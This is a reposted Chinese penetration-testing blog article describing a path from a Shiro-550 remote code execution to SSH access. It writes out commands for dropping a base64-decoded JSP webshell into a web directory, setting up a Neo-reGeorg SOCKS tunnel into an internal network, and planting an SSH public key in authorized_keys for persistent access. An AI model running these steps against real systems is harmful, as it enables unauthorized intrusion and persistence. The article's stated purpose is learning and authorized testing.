实战 | 渗透测试从RCE到SSH登录

admin 2022年12月21日12:22:33评论40 views字数 1383阅读4分36秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

在渗透测试中,拿到 webshell 后执行命令总会碰到很多不便,而使用 ssh 登录则会方便许多。


相比使用 webshell 工具执行命令,ssh 连接可以有命令提示、路径补全、支持二次交互等优势,本文记录一个从 WEB RCE 漏洞到 SSH 登录的姿势。


0x02 过程

Getshell

首先通过 Shiro 550 得到一个 shell

实战 | 渗透测试从RCE到SSH登录

因为网站不出网,所以不能直接反弹 shell,通过 base64 写入 webshell 到 web 目录

echo <base64 webshell> |base64 -d > webapps/uploadImg/shell.jsp;ls -lah


架设代理

网站不出网,所以需要架设 socks 代理访问 ssh 端口及内网主机,这里使用 Neo-reGeorg。


首次使用,先生成自己密码的 neoreg 服务端代码

python3 neoreg.py generate -k <your-password>


执行后在 neoreg_servers 找到对应服务端语言的文件,这里是 tunnel.jsp,然后通过上面的 shell 上传到目标服务器 web 目录上,再通过 neoreg 连接

python3 neoreg.py -k <your-password> -u https://xxx.com/uploadImg/tunnel.jsp --skip -l 0.0.0.0 -p 30080# -k 指定连接密码,就是生成时用的密码# -u tunnel.jsp 的url# --skip 忽略https证书错误# -l 本地socks服务监听ip# -p 本地socks服务监听端口


写入 ssh 公钥

为了尽量少修改服务器配置,通过写入 ssh 公钥可以不修改密码或者破解密码的情况下连接上 ssh。


这里使用xshell生成秘钥,默认选项生成就可以了,shell会自动保存秘钥对,当然使用ssh-keygen也是可以的

实战 | 渗透测试从RCE到SSH登录

然后把生成的公钥文件,复制到目标主机的 ~/.ssh/authorized_keys 文件中,如果不存在可以创建

实战 | 渗透测试从RCE到SSH登录


连接 ssh

配置 ssh 连接 127.0.0.2
实战 | 渗透测试从RCE到SSH登录

配置用户名及公钥连接,公钥选择前面生成那个

实战 | 渗透测试从RCE到SSH登录

配置代理,使用上面 neoreg 构建的代理

实战 | 渗透测试从RCE到SSH登录

成功连接 ssh

实战 | 渗透测试从RCE到SSH登录

为什么连接 127.0.0.2

经过实践发现,通过代理连接目标主机的内网 ip 172.xx.xx.33 连接不上,而连接 127.0.0.1 时则提示主机指纹改变的问题,需要重新写入指纹到目标主机才能连接,然而非 root 用户无法写入,连接 127.0.0.2 则完美避开问题
实战 | 渗透测试从RCE到SSH登录


文章来源:r0yanx博客原文地址:https://r0yanx.com/2021/11/04/渗透测试从RCE到SSH登录/



关 注 有 礼



关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包
实战 | 渗透测试从RCE到SSH登录 还在等什么?赶紧点击下方名片关注学习吧!实战 | 渗透测试从RCE到SSH登录

推 荐 阅 读




实战 | 渗透测试从RCE到SSH登录
实战 | 渗透测试从RCE到SSH登录
实战 | 渗透测试从RCE到SSH登录

实战 | 渗透测试从RCE到SSH登录

原文始发于微信公众号(潇湘信安):实战 | 渗透测试从RCE到SSH登录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月21日12:22:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | 渗透测试从RCE到SSH登录http://cn-sec.com/archives/1476048.html

发表评论

匿名网友 填写信息